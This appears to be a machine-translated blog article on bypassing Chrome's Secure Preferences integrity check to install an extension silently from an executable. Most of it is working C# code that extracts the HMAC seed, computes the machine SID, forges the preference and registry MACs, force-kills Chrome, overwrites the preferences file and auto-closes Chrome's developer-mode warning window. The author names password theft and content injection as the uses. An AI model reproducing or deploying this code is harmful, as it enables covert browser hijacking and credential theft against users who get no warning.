Chrome reverse and installation of extensions



    Good day, dear reader! Chrome is being updated, but there are no new articles about how to programmatically install an extension to chrome, besides the --load-extension - but this is not our option, because we are not looking for easy ways. Today I’ll tell you how you can get everything with an exe-schnick: passwords, substitute content, how you can commit theft, etc. - but this is not a call to action , but only an article for review. All the juice under the cut.

    And so, what allows us to do the extension in developer mode? Well, like the usual extension, it can work on all sites, and, for example, tyit passwords, implement advertising, and so. But the extension in developer mode gives you access to another feature, which seems to be not particularly important, but may be useful: we have access to the file system. Yes, we are going to launch this exploit from an exe-file and, in principle, we don’t really need it, what if?

    Analyzing files


    And so, for starters, you can see which files will be different after installing the extension, we may find that it is% appdata% \ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences. Let's copy the contents, remove the extension and restore the copy - here bam! and the extension works again. Looking at the ID you can see that two values ​​change with this key: extensions.settings.id and protection.macs.extensions.settings.id - the first one is settings, the second one is some kind of hash. Climb into the weights and see - this is HMAC SHA256. But what does he get it from? Let's climb into the debugger, attach to the chrome and load the characters from
    https://chromium-browser-symsrv.commondatastorage.googleapis.com

    Raping chrome


    Wow! Find the file pref_hash_calculator.cc, download, set a break on

    std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const

    Op - we get a seed_ - key for HMAC, and we also find out that it concatenates three lines and takes the result as HMACSHA256 (device_id + path + value, seed_). Well, let's look at our seed_ - and here the first disappointment awaits us: this is just a line “ChromeRegistryHashStoreValidationSeed” - ask what is wrong with it? And let's look at the result of the calculation, compare the resulting hash and hash in the file along this path - we are disappointed, but no! The key word in the “Registry” key, we climb into the registry, we look - and indeed, this is the key for the hashes in the registry, we will need it.

    Debashim, debazhim, and everywhere only this key, what's wrong? Now let's look at what length should be the standard key for HMACSHA256? 64 bytes, and most likely, this is not a line, but a set of bytes. To go through? Do not have time! The first assumption - our seed_ is chilled in every version of chrome - let's try to sort through all the versions of 64x consecutive bytes in the binary and chrome files. We write a simple script and in about an hour we get the first result: our seed_ lies in resources.pak. Let's google the structure.



    Version 4, we have the same - 5. Something is wrong, maybe the structure has not changed? But no. After some attempts, we find that the structure is as follows: 4 bytes version (5), 4 bytes - encoding? (1), 2 bytes - the number of records, 2 bytes it is not clear what. Next are the entries in the format: 2 bytes - ID, 4 bytes - offset from the beginning of the file. We are looking for a section of 64 bytes in length - and yes, we find it, this is our seed_. Now let's write a function to search for seed_ in resources.pak for the 4th and 5th version files:

    public static byte[] GetSeed(string resources_pak)
    {
    	//Open stream
    	using (FileStream fs = File.OpenRead(resources_pak))
    	using (BinaryReader reader = new BinaryReader(fs))
    	{
    		// Read in all pairs.
    		//4 bytes - Version (Assume, that is 5 or 4)
    		int version = reader.ReadInt32();
    		int second_dword = reader.ReadInt32();
    		int count = 0;
    		if (version == 0x05)
    		{
    			count = (reader.ReadUInt16()) + 1;
    			reader.ReadUInt16();
    		}
    		else
    		{
    			count = second_dword;
    			//Skip useless byte
    			reader.ReadByte();
    		}
    		uint last_offset = (uint)(count) * 6 + (uint)fs.Position;
    		for (int i = 0; i < count; i++)
    		{
    			//Word: ID
    			uint id = (uint)reader.ReadInt16();
    			//DWord: Offset from file start
    			uint offset = (reader.ReadUInt32());
    			//Assume, that seed_ is 64 bytes long
    			if (offset - last_offset == 64)
    			{
    				//Save last position in file
    				long last = fs.Position;
    				//Go to section position
    				fs.Seek(last_offset, SeekOrigin.Begin);
    				//Allocate space
    				uint want = offset - last_offset;
    				byte[] u = new byte[want];
    				for (int o = 0; o < want; o++)
    					u[o] = reader.ReadByte();
    				//Return carret back
    				fs.Seek(last, SeekOrigin.Begin);
    				return u;
    			}
    			last_offset = offset;
    		}
    	}
    	return null;
    }
    

    Okay, let's change the settings, and try to replace the hash - failure. The first thing that can be found in chromium sorse is that all empty objects are removed from the value. Okay, said - done.

    Again, failure - we need to generate the same HMACSHA256 from protection.macs, the path in this case must be omitted. Super! Got. But, we completely forgot about device_id - where can I get it? In older versions, it is MachineID from some third-party RLZ library. In the new - just SID PC. How to get it? For the second version and new versions of chromium:

    public static string GetSID()
    {
    	StringBuilder sb = new StringBuilder(260);
    	int size = 260;
    	GetComputerName(sb, ref size);
    	byte[] Sid = null;
    	uint cbSid = 0;
    	string accountName = sb.ToString();
    	StringBuilder referencedDomainName = new StringBuilder();
    	uint cchReferencedDomainName = (uint)referencedDomainName.Capacity;
    	SID_NAME_USE sidUse;
    	int err = NO_ERROR;
    	if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
    	{
    		err = Marshal.GetLastWin32Error();
    		if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS)
    		{
    			Sid = new byte[cbSid];
    			referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
    			err = NO_ERROR;
    			if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
    				err = Marshal.GetLastWin32Error();
    		}
    	}
    	else
    	{
    		// Consider throwing an exception since no result was found
    	}
    	if (err == 0)
    	{
    		if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid))
    		{
    			err = Marshal.GetLastWin32Error();
    		}
    		else
    		{
    			string sidString = Marshal.PtrToStringAuto(ptrSid);
    			LocalFree(ptrSid);
    			return sidString;
    		}
    	}
    	return null;
    }
    

    And, for the old version:

    public static string GetMachineId(string sid)
    {
    	string dir = Environment.SystemDirectory;
    	dir = dir.Substring(0, dir.IndexOf("\\") + 1);
    	StringBuilder volname = new StringBuilder(261);
    	StringBuilder fsname = new StringBuilder(261);
    	uint sernum, maxlen;
    	FileSystemFeature flags;
    	if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity))
    		Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
    	byte[] sid_str = (Hash(sid));
    	byte[] bts = new byte[sid_str.Length + 4];
    	for (int i = 0; i < sid_str.Length; i++)
    		bts[i] = sid_str[i];
    	for (int i = 0; i < sizeof(int); i++)
    	{
    		int shift_bits = 8 * (sizeof(int) - i - 1);
    		bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF);
    	}
    	byte b = Crc8.Gen(bts);
    	var sb = new StringBuilder(bts.Length + 1);
    	foreach (byte bb in bts)
    		sb.Append(bb.ToString("X2"));
    	sb.Append(b.ToString("X2"));
    	return sb.ToString();
    }
    

    And so, it remains to podshamanit over the settings and save the file, but at the same time closing the chrome:

     public static void Install()
    {
    	string path = Unzip();
    	string id = "";
    	string flags = "" + ((1 << 7) | (1 << 2));
    	string loc = "4";
    	id = "dblokgoogmhjemeebajnamjdmloolcjd";
    	string setting = "тут ваши настройки";
    	preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C"));
    	preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))));
    	string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings";
    	string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)));
    	Registry.SetValue(abc, id, reg_key);
    	string macs = GetSecure("protection.macs");
    	preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs));
    	Process process = new Process();
    	// Stop the process from opening a new window
    	process.StartInfo.RedirectStandardOutput = true;
    	process.StartInfo.UseShellExecute = false;
    	process.StartInfo.CreateNoWindow = true;
    	// Setup executable and parameters
    	process.StartInfo.FileName = @"taskkill.exe";
    	process.StartInfo.Arguments = "/im chrome.exe /f";
    	// Go
    	process.Start();
    	process.WaitForExit();
    	Thread.Sleep(150);
    	File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences);
    }
    

    Also, note that now when you open the browser, a window opens “Disabling extensions in developer mode” - how to close it - is the choice of everyone. How can I leave the thread behind me, which will close this window through WinAPI:

    public static void CheckWindows()
    {
      while (true)
      {
        Process[] pcs = Process.GetProcessesByName("chrome");
        if (pcs.Length > 0)
        {
          List<IntPtr> ww = GetChildWindows(IntPtr.Zero);
          foreach (var hwnd in ww)
          {
            try
            {
              uint pidd = 0;
              GetWindowThreadProcessId(hwnd, out pidd);
              IntPtr pid = (IntPtr)pidd;
              IntPtr hProcess = OpenProcess(0x0410, false, pidd);
              StringBuilder text = new StringBuilder(1000);
              GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity);
              CloseHandle(hProcess);
              if (!text.ToString().EndsWith("chrome.exe"))
                continue;
              const int nChars = 256;
              StringBuilder Buff = new StringBuilder(nChars);
              if (GetWindowText(hwnd, Buff, nChars) > 0)
              {
                string name = Buff.ToString();
                if (names.Contains(name))
                  SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
              }
              Thread.Sleep(1);
            }
            catch
            {
            }
            Thread.Sleep(1);
          }
        }
        else Thread.Sleep(10);
      }
    }
    

    Good luck and ethical hacking! Who knows how to do the same with Yandex Browser - it would be very interesting to find out, I have been trying to pick it up for a week, it does not work.

    Also popular now: